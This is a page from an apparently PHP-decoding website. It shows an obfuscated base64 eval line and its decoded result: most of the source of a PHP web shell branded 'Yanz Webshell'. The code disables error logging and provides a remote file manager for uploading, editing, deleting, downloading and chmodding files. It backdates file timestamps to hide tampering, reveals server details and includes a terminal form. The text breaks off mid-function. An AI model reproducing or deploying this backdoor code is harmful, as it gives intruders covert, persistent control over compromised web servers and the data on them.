Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo eval('?>'.base64_decode("PD9waHAgCkBzZXRfdGltZV9saW1pdCgwKTsKZXJyb3JfcmVwb3J0..

Decoded Output download

None?>b'<?php 
@set_time_limit(0);
error_reporting(0);

if (fUnctIOn_EXiSTS("ini_set")) {
    @iNi_set("error_log", null);
    @inI_sEt("log_errors", (int) round(0 + 0 + 0));
    @Ini_set("max_execution_time", 01153 - 01153);
}
if (fUNCTiOn_ExIsTs("set_magic_quotes_runtime")) {
    if (vErsiOn_cOmpaRe(phPVersIon(), "5.4.0", "<")) {
        magic_quotes_runtime((int) round(0 + 0 + 0));
    }
}
class _pps
{
    public $hsh;
    public $_i;
    public $_taj;
    public $_hej;
    public $_cp;
    public $_za;
    public $_zrt;
    public $_wda;
    public $_vpb;
    public $_vor;
    function seTCoOk($_gtq, $_e)
    {
        $_COOKIE[$_gtq] = $_e;
        SeTcOOkie($_gtq, $_e);
    }
    function afterlogiN()
    {
        $this->hsh = "fa704e7366d666bd";
        $this->_i = "_" . sUbSTr(mD5($_SERVER["HTTP_HOST"]), -056 - -0152 - 074, 075 + 0146 + -0240);
        $this->_taj = "#df5";
        $this->_hej = "Windows-1251";
        if (!@isset($_COOKIE[$this->_i]) || $_COOKIE[$this->_i] != $this->hsh) {
            $this->SetcOoK($this->_i, $this->hsh);
        }
    }
    function sTArTUP()
    {
        if (FUNCTION_exiSTS("ini_get")) {
            $_vpb = @INI_geT("safe_mode");
            $_cp = @INi_geT("disable_functions");
        }
        if (!$_vpb && FUNCTion_ExiSts("error_reporting")) {
            ERRoR_rePoRTINg((int) round(0 + 0));
        }
        if (!$_vpb && FUnCTIOn_ExIsTs("set_time_limit")) {
            seT_tIME_limit((int) round(0 + 0));
        }
        if (fUNctIoN_eXiSTs("get_magic_quotes_gpc") && fuNCTIon_ExIStS("array_map") && fUNcTiOn_eXiSts("stripslashes") && funCTion_exIstS("is_array")) {
            if (@GeT_maGIC_quOtEs_gPC()) {
                function WSS($_a)
                {
                    return @Is_arraY($_a) ? @ArRAY_MAp("WSS", $_a) : @STRIPslAshEs($_a);
                }
                $_POST = WSs($_POST);
                $_COOKIE = wss($_COOKIE);
            }
        }
        if (!FUnCtiON_EXIsts("posix_getpwuid") && StrPOS($_cp, "posix_getpwuid") === false) {
            function pOSiX_GeTpwUid($_l)
            {
                return false;
            }
        }
        if (!FUncTIoN_ExisTS("posix_getgrgid") && StRPos($_cp, "posix_getgrgid") === false) {
            function POsIx_GetgRgid($_l)
            {
                return false;
            }
        }
        if (StRtOlowER(suBSTr(PHP_OS, 01200 + -01200, (int) round(1.5 + 1.5))) == "win") {
            $_vor = "win";
        } else {
            $_vor = "nix";
        }
        $_wda = $_SERVER["DOCUMENT_ROOT"];
        if (FUnctiOn_exIStS("getcwd")) {
            $_zrt = @GeTcwD();
        } else {
            $_zrt = @DIRname(__FILE__);
        }
        if (isset($_POST["c"]) && $_POST["c"] != "") {
            $_POST["c"] = STR_ROt13($_POST["c"]);
        }
        if (isset($_POST["c"])) {
            if (FunCTion_EXisTs("chdir")) {
                @CHDir($_POST["c"]);
            }
        }
        if (FuNCtION_eXiSTS("getcwd")) {
            $_za = @GeTcwd();
        } elseif (@isset($_POST["c"]) && $_POST["c"] != "") {
            $_za = $_POST["c"];
        } else {
            $_za = $_zrt;
        }
        if ($_vor == "win") {
            $_zrt = Str_REPlAcE("\", "/", $_zrt);
            $_za = StR_rEplaCE("\", "/", $_za);
        }
        if ($_za[Strlen($_za) - (0577 - -0621 - 01417)] != "/") {
            $_za .= "/";
        }
        $this->_cp = $_cp;
        $this->_za = $_za;
        $this->_zrt = $_zrt;
        $this->_wda = $_wda;
        $this->_vpb = $_vpb;
        $this->_vor = $_vor;
    }
    function ActloGOuT()
    {
        $_i = $this->_i;
        SETCOokIE($_i, "", TimE() - (int) round(1800 + 1800));
        die("bye!");
    }
    function aCtFm()
    {
        $_za = $this->_za;
        if (!empty($_POST["p"])) {
            $_ozl = @FiLEMTIme($_POST["c"]);
            switch ($_POST["p"]) {
                case "uploadFile":
                    if (!@MoVE_UPLOADeD_FIle($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
                        echo "Can\'t upload file!";
                    } elseif ($_ozl) {
                        @tOUcH($_FILES["f"]["name"], $_ozl, $_ozl);
                    }
                    break;
                case "mkdir":
                    if (!@mKDir(stR_roT13($_POST["x"]))) {
                        echo "Can\'t create new dir";
                    } elseif ($_ozl) {
                        @TOucH(StR_Rot13($_POST["x"]), $_ozl, $_ozl);
                    }
                    break;
                case "delete":
                    function DELETedIR($_we)
                    {
                        $_we = suBStr($_we, -(int) round(0.5 + 0.5)) == "/" ? $_we : $_we . "/";
                        if ($_hcf = @oPEnDIR($_we)) {
                            while (($_nos = @reaDDIr($_hcf)) !== false) {
                                $_nos = $_we . $_nos;
                                if (@bAseName($_nos) == ".." || @BASENAmE($_nos) == ".") {
                                    continue;
                                }
                                $_ei = @fIletYPe($_nos);
                                if ($_ei == "dir") {
                                    DeLEtedIR($_nos);
                                } else {
                                    @uNLink($_nos);
                                }
                            }
                            @CLOsedir($_hcf);
                        }
                        @RMdir($_we);
                    }
                    if (@Is_ARrAY($_POST["f"])) {
                        foreach ($_POST["f"] as $_rb) {
                            if ($_rb == "..") {
                                continue;
                            }
                            $_rb = STR_ROt13(URLdECodE($_rb));
                            if (@is_diR($_rb)) {
                                dElETEdIr($_rb);
                            } else {
                                @uNlInk($_rb);
                            }
                        }
                    }
                    break;
            }
            if ($_ozl) {
                ToUcH($_POST["c"], $_ozl, $_ozl);
            }
        }
        echo "<h1>File manager</h1><div class=content><script>p_=x_=s_=\"\";</script>";
        $_wb = WsCanDir(@isset($_POST["c"]) ? $_POST["c"] : $_za);
        if ($_wb === false) {
            echo "Can\'t open this folder!";
            return;
        }
        global $_rpl;
        $_rpl = array("name", -0263 + -034 - -0320);
        if (!empty($_POST["p"])) {
            if (@pReg_matCH("!s_([A-z]+)_(\d{1})!", $_POST["p"], $_tf)) {
                $_rpl = array($_tf[0402 + -0135 - 0244], (int) $_tf[0407 - 0405]);
            }
        }
        echo "<script>function sa(){for(i=0;i<d.files.elements.length;i++)if(d.files.elements[i].type==\'checkbox\')d.files.elements[i].checked=d.files.elements[0].checked;}</script><table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'><form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th width=\'40%\'><a href=\'#\' onclick=\'g(\"fm\",null,\"s_name_" . ($_rpl[(int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)] ? (int) round(0 + 0 + 0) : (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)) . "\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"fm\",null,\"s_size_" . ($_rpl[(int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)] ? -0561 - -0373 - -0166 : 01230 - 01227) . "\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"fm\",null,\"s_modify_" . ($_rpl[(int) round(0.5 + 0.5)] ? (int) round(0 + 0) : 01 - 00) . "\")\'>Modify</a></th><th><a href=\'#\' onclick=\'g(\"fm\",null,\"s_perms_" . ($_rpl[(int) round(0.5 + 0.5)] ? (int) round(0 + 0) : (int) round(0.5 + 0.5)) . "\")\'>Permissions</a></th><th width=\'200px\'>Actions</th></tr>";
        $_q = $_vgl = array();
        $_t = COUNt($_wb);
        for ($_o = (int) round(0 + 0 + 0); $_o < $_t; $_o++) {
            $_j = array("name" => $_wb[$_o], "path" => $_za . $_wb[$_o], "modify" => @DATE("Y-m-d H:i:s", @FIleMTimE($_za . $_wb[$_o])), "perms" => WpERMsCOlOR($_za . $_wb[$_o]), "size" => @FILesize($_za . $_wb[$_o]));
            if (@is_fIlE($_za . $_wb[$_o])) {
                $_vgl[] = @arRay_mERgE($_j, array("type" => "file"));
            } elseif (@IS_LiNK($_za . $_wb[$_o])) {
                $_q[] = @ARray_merGE($_j, array("type" => "link", "link" => ReADLInK($_j["path"])));
            } elseif (@IS_DIR($_za . $_wb[$_o])) {
                $_q[] = @ARraY_mErGe($_j, array("type" => "dir"));
            }
        }
        function wcmP($_snp, $_jy)
        {
            global $_rpl;
            if ($_rpl[0215 - 0215] != "size") {
                return @StRcMP(STrToLOwer($_snp[$_rpl[-0236 - -0236]]), strtOlowEr($_jy[$_rpl[0155 + -0142 + -013]])) * ($_rpl[(int) round(0.5 + 0.5)] ? (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333) : -(-0465 - -0466));
            } else {
                return ($_snp["size"] < $_jy["size"] ? -(0601 - 0600) : (int) round(0.5 + 0.5)) * ($_rpl[(int) round(0.5 + 0.5)] ? 0312 + -0227 + -062 : -(017 - 016));
            }
        }
        @UsORt($_vgl, "wCmp");
        @Usort($_q, "wCmp");
        $_vgl = @ArrAY_MERGE($_q, $_vgl);
        $_fl = 0545 - 0277 - 0246;
        foreach ($_vgl as $_rb) {
            $_fc = StR_rot13(urLeNcodE($_rb["name"]));
            echo "<tr" . ($_fl ? " class=l1" : "") . "><td><input type=checkbox name=\"f[]\" value=\"" . $_fc . "\" class=chkbx></td><td><a href=# onclick=\"" . ($_rb["type"] == "file" ? "g(\'ft\',null,\'" . $_fc . "\', \'view\')\">" . htmLSpeciAlChARS($_rb["name"]) : "g(\'fm\',\'" . Str_RoT13($_rb["path"]) . "\');\" " . (empty($_rb["link"]) ? "" : "title=\'" . $_rb["link"] . "\'") . "><b>[ " . hTmLspecialchars($_rb["name"]) . " ]</b>") . "</a></td><td>" . ($_rb["type"] == "file" ? viEwsIze($_rb["size"]) : $_rb["type"]) . "</td><td>" . $_rb["modify"] . "</td><td><a href=# onclick=\"g(\'ft\',null,\'" . $_fc . "\',\'chmod\')\">" . $_rb["perms"] . "</td><td><a href=\"#\" onclick=\"g(\'ft\',null,\'" . $_fc . "\', \'rename\')\">Rename</a> <a href=\"#\" onclick=\"g(\'ft\',null,\'" . $_fc . "\', \'touch\')\">Touch</a>" . ($_rb["type"] == "file" ? " <a href=\"#\" onclick=\"g(\'ft\',null,\'" . $_fc . "\', \'edit\')\">Edit</a> <a href=\"#\" onclick=\"g(\'ft\',null,\'" . $_fc . "\', \'download\')\">Download</a>" : "") . "</td></tr>";
            $_fl = $_fl ? -0742 + 0742 : -0753 - -0754;
        }
        echo "<tr><td colspan=7>
		<input type=hidden name=a value=\'fm\'>
		<input type=hidden name=c value=\'" . HtMlSPEcialChArS(sTr_ROT13($_za)) . "\'>
		<input type=hidden name=ch value=\'" . (@isset($_POST["ch"]) ? $_POST["ch"] : "") . "\'>
		<select name=\'p\'><option value=\'delete\'>Delete</option></select>&nbsp;<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";
    }
    function ACtFt()
    {
        $_cp = $this->_cp;
        if (@isset($_POST["p"])) {
            $_POST["p"] = STr_ROt13(UrLDecOdE($_POST["p"]));
        }
        if (@isset($_POST["x"])) {
            switch ($_POST["x"]) {
                case "download":
                    if (@Is_FIle($_POST["p"]) && @IS_READaBle($_POST["p"])) {
                        OB_StART("ob_gzhandler", (int) round(2048 + 2048));
                        @heaDEr("Content-Disposition: attachment; filename=" . @BAsENAMe($_POST["p"]));
                        if (FUnctIOn_EXiSTs("mime_content_type")) {
                            $_ei = @MimE_ConTeNt_TypE($_POST["p"]);
                            @heADEr("Content-Type: " . $_ei);
                        } else {
                            @HeAder("Content-Type: application/octet-stream");
                        }
                        $_jj = @FOpEn($_POST["p"], "r");
                        if ($_jj) {
                            while (!@FeOF($_jj)) {
                                echo @FGeTs($_jj, 01013 - 0702 + 01667);
                            }
                            @FClose($_jj);
                        }
                    }
                    exit;
                    break;
                case "mkfile":
                    if (!@FILE_exiStS($_POST["p"])) {
                        $_x = @fIlEMTImE($_POST["c"]);
                        $_jj = @fOpeN($_POST["p"], "w");
                        if ($_jj) {
                            @fCLoSe($_jj);
                            if ($_x) {
                                @touCH($_POST["c"], $_x, $_x);
                                @toUCh($_POST["p"], $_x, $_x);
                            }
                            $_POST["x"] = "edit";
                        }
                    }
                    break;
            }
        }
        echo "<h1>File tools</h1><div class=content>";
        if (!@fiLE_ExisTs($_POST["p"])) {
            echo "File not exists";
            return;
        }
        $_bhr = @Posix_Getpwuid(@FiLeowNEr($_POST["p"]));
        if (!$_bhr) {
            $_bhr["name"] = @FiLEoWNER($_POST["p"]);
            $_hs["name"] = @fILEGrOUp($_POST["p"]);
        } else {
            $_hs = @PosIx_gEtGRgiD(@FILEGROUp($_POST["p"]));
        }
        echo "<span>Name:</span> " . htMLSpeciaLcHArs(@BaSenAMe($_POST["p"])) . " <span>Size:</span> " . (@iS_FILe($_POST["p"]) ? vIewSize(@fILESIze($_POST["p"])) : "-") . " <span>Permission:</span> " . WPeRMScOLoR($_POST["p"]) . " <span>Owner/Group:</span> " . $_bhr["name"] . "/" . $_hs["name"] . "<br>";
        echo "<span>Change time:</span> " . @dATe("Y-m-d H:i:s", @fileCtIme($_POST["p"])) . " <span>Access time:</span> " . @DaTE("Y-m-d H:i:s", @FiLeaTime($_POST["p"])) . " <span>Modify time:</span> " . @daTe("Y-m-d H:i:s", @FilEmTime($_POST["p"])) . "<br><br>";
        if (empty($_POST["x"])) {
            $_POST["x"] = "view";
        }
        if (@IS_File($_POST["p"])) {
            $_fbd = array("View", "Download", "Edit", "Chmod", "Rename", "Touch");
        } else {
            $_fbd = array("Chmod", "Rename", "Touch");
        }
        foreach ($_fbd as $_e) {
            echo "<a href=# onclick=\"g(null,null,\'" . UrlenCOdE(StR_rOt13($_POST["p"])) . "\',\'" . @STrTolowER($_e) . "\')\">" . (@strToLOweR($_e) == $_POST["x"] ? "<b>[ " . $_e . " ]</b>" : $_e) . "</a> ";
        }
        echo "<br><br>";
        switch ($_POST["x"]) {
            case "view":
                echo "<pre class=ml1>";
                $_jj = @foPEN($_POST["p"], "r");
                if ($_jj) {
                    while (!@fEof($_jj)) {
                        echo HtmlsPECiAlcHArs(@FGets($_jj, (int) round(341.33333333333 + 341.33333333333 + 341.33333333333)));
                    }
                    @fcloSe($_jj);
                }
                echo "</pre>";
                break;
            case "chmod":
                if (!empty($_POST["s"])) {
                    $_jfl = -077 + -021 - -0120;
                    for ($_o = STRlEn($_POST["s"]) - (int) round(0.5 + 0.5); $_o >= -0265 - 0637 - -01124; --$_o) {
                        $_jfl += (int) $_POST["s"][$_o] * @pOw((int) round(2.6666666666667 + 2.6666666666667 + 2.6666666666667), StRLen($_POST["s"]) - $_o - (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333));
                    }
                    if (!@ChmOd($_POST["p"], $_jfl)) {
                        echo "Can\'t set permissions!<br><script>document.mf.s.value=\"\";</script>";
                    }
                }
                @cLeaRStATCACHe();
                echo "<script>s_=\"\";</script><form onsubmit=\"g(null,null,\'" . URlENCode(sTR_rOT13($_POST["p"])) . "\',null,this.chmod.value);return false;\"><input type=text name=chmod value=\"" . suBstR(@sprInTf("%o", @FIlePErMs($_POST["p"])), -(int) round(2 + 2)) . "\"><input type=submit value=\">>\"></form>";
                break;
            case "edit":
                if (!@IS_wrItAble($_POST["p"])) {
                    echo "File isn\'t writeable";
                    break;
                }
                if (!empty($_POST["s"])) {
                    $_ozl = @FilEmtiMe($_POST["p"]);
                    $_POST["s"] = suBStR($_POST["s"], (int) round(0.5 + 0.5));
                    $_POST["s"] = @base64_DeCOde($_POST["s"]);
                    $_jj = @foPEN($_POST["p"], "w");
                    if ($_jj) {
                        @fputs($_jj, $_POST["s"]);
                        @FCLoSe($_jj);
                        echo "Saved!<br><script>s_=\"\";</script>";
                    }
                }
                echo "<form onsubmit=\"g(null,null,\'" . urLenCodE(stR_rOt13($_POST["p"])) . "\',\'edit\',\'1\'+utoa(this.text.value));return false;\"><textarea name=text class=bigarea>";
                $_jj = @FOpeN($_POST["p"], "r");
                if ($_jj) {
                    while (!@fEOF($_jj)) {
                        echo HtmlsPECiaLchARs(@fgEts($_jj, (int) round(341.33333333333 + 341.33333333333 + 341.33333333333)));
                    }
                    @FcLosE($_jj);
                }
                echo "</textarea><input type=submit value=\"Save\"></form>";
                if ($_ozl) {
                    @TOucH($_POST["p"], $_ozl, $_ozl);
                }
                @CLEarSTATCachE();
                break;
            case "rename":
                $_x = @fiLEmtIME($_POST["c"]);
                if (!empty($_POST["s"])) {
                    if (!@rEnaME($_POST["p"], STR_Rot13($_POST["s"]))) {
                        echo "Can\'t rename!<br>";
                    } else {
                        if ($_x) {
                            @TOuCH($_POST["c"], $_x, $_x);
                        }
                        die("<script>g(null,null,\"" . UrlENcOde($_POST["s"]) . "\",null,\"\")</script>");
                    }
                }
                @CleaRSTatCacHe();
                echo "<form onsubmit=\"g(null,null,\'" . URlenCoDe(STR_RoT13($_POST["p"])) . "\',null,rot13(this.name.value));return false;\"><input type=text name=name value=\"" . HTMLSpecIAlChARS($_POST["p"]) . "\"><input type=submit value=\">>\"></form>";
                break;
            case "touch":
                if (!empty($_POST["s"])) {
                    $_ozl = @StrToTiMe($_POST["s"]);
                    if ($_ozl) {
                        if (!@TouCH($_POST["p"], $_ozl, $_ozl)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                @cLEarStatcaCHe();
                echo "<script>s_=\"\";</script><form onsubmit=\"g(null,null,\'" . URlenCOdE(STR_rOt13($_POST["p"])) . "\',null,this.touch.value);return false;\"><input type=text name=touch value=\"" . @daTe("Y-m-d H:i:s", @fiLemTImE($_POST["p"])) . "\"><input type=submit value=\">>\"></form>";
                break;
        }
        echo "</div>";
    }
    function wheADeR()
    {
        $_taj = $this->_taj;
        $_hej = $this->_hej;
        $_za = $this->_za;
        $_zrt = $this->_zrt;
        $_wda = $this->_wda;
        $_i = $this->_i;
        $_vpb = $this->_vpb;
        $_vor = $this->_vor;
        if (empty($_POST["ch"])) {
            $_POST["ch"] = $_hej;
        }
        echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST["ch"] . "\'><title>" . $_SERVER["HTTP_HOST"] . " - WSOX ENC</title>
		<style>body{background-color:#444;color:#e1e1e1;}body,td,th{font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1;}table.info{color:#fff;background-color:#222;}span,h1,a{color: " . $_taj . " !important;}span{font-weight: bolder;}span.wfw{font-weight:normal;}h1{border-left:5px solid " . $_taj . ";padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px;}div.content{padding: 5px;margin-left:5px;background-color:#333;}a{text-decoration:none;}a:hover{text-decoration:underline;}.ml1{border:1px solid #444;padding:5px;margin:0;overflow: auto;}.bigarea{width:100%;height:300px;}input,textarea,select{margin:0;color:#fff;background-color:#555;border:1px solid " . $_taj . "; font: 9pt Monospace,\'Courier New\';}form{margin:0px;}#toolsTbl{text-align:center;}.toolsInp{width:500px}.main th{text-align:left;background-color:#5e5e5e;}.main tr:hover{background-color:#5e5e5e}.l1{background-color:#444}.l2{background-color:#333}pre{font-family:Courier,Monospace;}</style>
<script>
var c_ = \'" . htmlsPECiaLcHarS(Str_RoT13($_za)) . "\';
var a_ = \'" . hTMLSpeCIALcHarS($_POST["a"]) . "\'
var ch_ = \'" . hTmlsPecialChArs($_POST["ch"]) . "\';
var p_ = \'" . (STRpos($_POST["p"], "
") !== false ? "" : HtMLSPeciALCHARs($_POST["p"], (int) round(1.5 + 1.5))) . "\';
var x_ = \'" . (StrpOS($_POST["x"], "
") !== false ? "" : HtMlspecIALcHARS($_POST["x"], 0270 - 0265)) . "\';
var s_ = \'" . (STrpos($_POST["s"], "
") !== false ? "" : htmlSPEciALCharS($_POST["s"], -0315 + -0436 - -0756)) . "\';
var d = document;
function set(a,c,p,x,s,ch){if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;if(p!=null)d.mf.p.value=p;else d.mf.p.value=p_;if(x!=null)d.mf.x.value=x;else d.mf.x.value=x_;if(s!=null)d.mf.s.value=s;else d.mf.s.value=s_;if(ch!=null)d.mf.ch.value=ch;else d.mf.ch.value=ch_;}function g(a,c,p,x,s,ch){set(a,c,p,x,s,ch);d.mf.submit();}function utoa(str){return window.btoa(unescape(encodeURIComponent(str)));}function atou(str){return decodeURIComponent(escape(window.atob(str)));}function rot13(str){var input=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\'; var output=\'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm\'; var index=x=> input.indexOf(x); var translate=x=> index(x) > -1 ? output[index(x)] : x; return str.split(\'\').map(translate).join(\'\');}var cvis=false;function show(){if(!cvis){document.getElementById(\'bat\').innerHTML=\'Links\';document.getElementById(\'cwd\').style.display=\'inline\';document.getElementById(\'links\').style.display=\'none\';cvis=true;}else{document.getElementById(\'bat\').innerHTML=\'Text\';document.getElementById(\'cwd\').style.display=\'none\';document.getElementById(\'links\').style.display=\'inline\';cvis=false;}}
</script>
</head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p>
<input type=hidden name=x>
<input type=hidden name=s>
<input type=hidden name=ch>
</form>";
        if (FUncTIon_exISTs("diskfreespace")) {
            $_pn = @dISkfREEspAce($_za);
        }
        if (FUnCTIOn_ExiSTs("disk_total_space")) {
            $_ejl = @dISk_toTAL_SPACE($_za);
        }
        $_ejl = $_ejl ? $_ejl : (int) round(0.5 + 0.5);
        if (fUncTiOn_eXISTs("php_uname")) {
            $_v = @php_UnAME();
        } elseif (funCTIon_ExiSTs("phpinfo")) {
            Ob_STArt();
            PHpiNfO();
            $_no = ob_Get_CLEAn();
            if (false !== preG_mAtch("!<tr><td class=\"e\">System\s*</td><td class=\"v\">([^\<]+)!i", $_no, $_bf)) {
                $_v = tRIm($_bf[025 + 027 - 053]);
            }
        }
        $_bl = "";
        $_we = @exPLOdE("/", $_za);
        $_t = cOuNt($_we);
        for ($_o = (int) round(0 + 0); $_o < $_t - (01041 - 01040); $_o++) {
            $_bl .= "<a href=\'#\' onclick=\'g(\"fm\",\"";
            for ($_el = -0630 - -0300 + 0330; $_el <= $_o; $_el++) {
                $_bl .= STR_roT13($_we[$_el]) . "/";
            }
            $_bl .= "\",\"\",\"\")\'>" . $_we[$_o] . "/</a>";
        }
        $_cw = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866");
        $_n = "";
        foreach ($_cw as $_nos) {
            $_n .= "<option value=\"" . $_nos . "\" " . ($_POST["ch"] == $_nos ? "selected" : "") . ">" . $_nos . "</option>";
        }
        $_fbd = array("Files" => "fm");
        if (!empty($_COOKIE[$_i])) {
            $_fbd["Logout"] = "Logout";
        }
        $_h = "";
        foreach ($_fbd as $_gtq => $_e) {
            $_h .= "<th width=\"" . (int) ((int) round(50 + 50) / coUnt($_fbd)) . "%\">[ <a href=\"#\" onclick=\"g(\'" . $_e . "\',null,\'\',\'\',\'\')\">" . $_gtq . "</a> ]</th>";
        }
        $_dej = "";
        if ($_vor == "win") {
            foreach (@Range("c", "z") as $_szx) {
                if (@Is_dIr($_szx . ":\")) {
                    $_dej .= "<a href=\"#\" onclick=\"g(\'fm\',\'" . STr_roT13($_szx) . ":/\')\">[ " . $_szx . " ]</a> ";
                }
            }
        }
        $_uy = $_SERVER["SERVER_ADDR"];
        if (empty($_uy)) {
            $_uy = GeThoSTbyName($_SERVER["SERVER_NAME"]);
        }
        echo "<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span><font color=red>Attention:</font><br>Uname:<br>Php:<br>Hdd:<br>Cwd:" . ($_vor == "win" ? "<br>Drives:" : "") . "</span></td>" . "<td><a href=\'#\'</a><u><b>Yanz Webshell!</b> - PRIV8 WEB SHELL ORB YANZ BYPASS!</u></a><br><nobr>" . ($_v ? subsTr($_v, -01 + 01, (int) round(40 + 40 + 40)) : "N/A") . "</nobr><br>" . @pHPversiON() . " <span>Safe mode:</span> " . ($_vpb ? "<font color=red>ON</font>" : "<font color=green><b>OFF</b></font>") . " <span>Datetime:</span> " . daTE("Y-m-d H:i:s") . "<br>" . ($_ejl ? vIewSIZe($_ejl) : "") . " <span>Free:</span> " . ($_pn ? vIewSiZe($_pn) : "") . " (" . ($_pn && $_ejl ? (int) ($_pn / $_ejl * (0157 + 0136 - 0151)) : "0") . "%)<br><span id=\"links\" class=\"wfw\">" . $_bl . " " . WPerMSCOLOr($_za) . " <a href=# onclick=\"g(\'fm\',\'" . STr_rot13($_wda) . "\',\'\',\'\',\'\')\">[ root ]</a> <a href=# onclick=\"g(\'fm\',\'" . Str_rOT13($_zrt) . "\',\'\',\'\',\'\')\">[ home ]</a></span><span id=\"cwd\" style=\"display: none;\" class=\"wfw\"><input size=" . (STrlen($_za) + (int) round(11 + 11)) . " type=text value=\"" . $_za . "\"></span> <a href=# onclick=\"show();\"><font color=#fff id=\"bat\">Text</font></a><br>" . $_dej . "</td>" . "<td width=1 align=right><nobr><select onchange=\"g(null,null," . (!empty($_POST["p"]) ? "\'" . $_POST["p"] . "\'" : "null") . ",null,null,this.value)\"><optgroup label=\"Page charset\">" . $_n . "</optgroup></select><br><span>Server IP:</span><br>" . $_uy . "<br><span>Client IP:</span><br>" . $_SERVER["REMOTE_ADDR"] . "</nobr></td></tr></table>" . "<table style=\"border-top:2px solid #333;\" cellpadding=3 cellspacing=0 width=100%><tr>" . $_h . "</tr></table><div style=\"margin:5\">";
    }
    function wfOotER()
    {
        $_za = $this->_za;
        $_lia = @is_WrItabLe($_za) ? " <font color=\'green\'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
        echo "</div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'><tr><td><form onsubmit=\'g(null,rot13(this.c.value),\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . HtMlSpeCiaLcHArS($_za) . "\'><input type=submit value=\'>>\'></form></td><td><form onsubmit=\"g(\'ft\',null,rot13(this.f.value));return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td></tr><tr><td><form onsubmit=\"g(\'fm\',null,\'mkdir\',rot13(this.d.value));return false;\"><span>Make dir:</span>" . $_lia . "<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td><td><form onsubmit=\"g(\'ft\',null,rot13(this.f.value),\'mkfile\');return false;\"><span>Make file:</span>" . $_lia . "<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td></tr><tr><td><form onsubmit=\"g(\'ce\',null,utoa(this.c.value));return false;\"></a></form><form method=post ><span>Terminal:</span><br><input class=\'toolsInp\' type=text name=command value=\'\' autocomplete=\'off\'><input type=submit value=\'>>\' name=\'subcmd\'></form></td><span></td><td><form method=\'post\' ENCTYPE=\'multipart/form-data\'><input type=hidden name=a value=\'fm\'><input type=hidden name=c value=\'" . sTr_RoT13($_za) . "\'><input type=hidden name=p value=\'uploadFile\'><input type=hidden name=ch value=\'" . (@isset($_POST["ch"]) ? $_POST["ch"] : "") . "\'><span>Upload file:</span>" . $_lia . "<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td></tr></table></div></body></html>";
    }
}
function vIewSIze($_xwm, $_yj = null)
{
    if (iS_INt($_xwm)) {
        $_xwm = @spRINtf("%u", $_xwm);
    }
    if ($_xwm >= (int) round(357913941.33333 + 357913941.33333 + 357913941.33333)) {
        return @spRINtf("%1.2f", $_xwm / (010000001240 + -01240)) . " GB";
    } elseif ($_xwm >= 03777073 - 04000560 + 04001465) {
        return @SprinTF("%1.2f", $_xwm / (int) round(349525.33333333 + 349525.33333333 + 349525.33333333)) . " MB";
    } elseif ($_xwm >= (int) round(512 + 512)) {
        return @sPRinTf("%1.2f", $_xwm / (int) round(341.33333333333 + 341.33333333333 + 341.33333333333)) . " KB";
    } else {
        return $_xwm . " B";
    }
}
function WPerMs($_l)
{
    if (($_l & 0140371 - 0137733 + 0137342) == 0137615 - -0163) {
        $_o = "s";
    } elseif (($_l & (int) round(20480 + 20480)) == 0117774 - -04) {
        $_o = "l";
    } elseif (($_l & (int) round(10922.666666667 + 10922.666666667 + 10922.666666667)) == 0100270 + -0270) {
        $_o = "-";
    } elseif (($_l & (int) round(8192 + 8192 + 8192)) == (int) round(12288 + 12288)) {
        $_o = "b";
    } elseif (($_l & (int) round(8192 + 8192)) == 037655 - 040121 - -040244) {
        $_o = "d";
    } elseif (($_l & (int) round(2730.6666666667 + 2730.6666666667 + 2730.6666666667)) == 017574 + 0204) {
        $_o = "c";
    } elseif (($_l & (int) round(1365.3333333333 + 1365.3333333333 + 1365.3333333333)) == 010110 + -0110) {
        $_o = "p";
    } else {
        $_o = "u";
    }
    $_o .= $_l & 0752 + 044 - 0416 ? "r" : "-";
    $_o .= $_l & (int) round(42.666666666667 + 42.666666666667 + 42.666666666667) ? "w" : "-";
    $_o .= $_l & -01223 - -01323 ? $_l & (int) round(682.66666666667 + 682.66666666667 + 682.66666666667) ? "s" : "x" : ($_l & 05014 + 04725 + -05741 ? "S" : "-");
    $_o .= $_l & -01044 - -01104 ? "r" : "-";
    $_o .= $_l & 020 + 022 - 022 ? "w" : "-";
    $_o .= $_l & (int) round(2.6666666666667 + 2.6666666666667 + 2.6666666666667) ? $_l & 01564 + 01365 + -01151 ? "s" : "x" : ($_l & (int) round(512 + 512) ? "S" : "-");
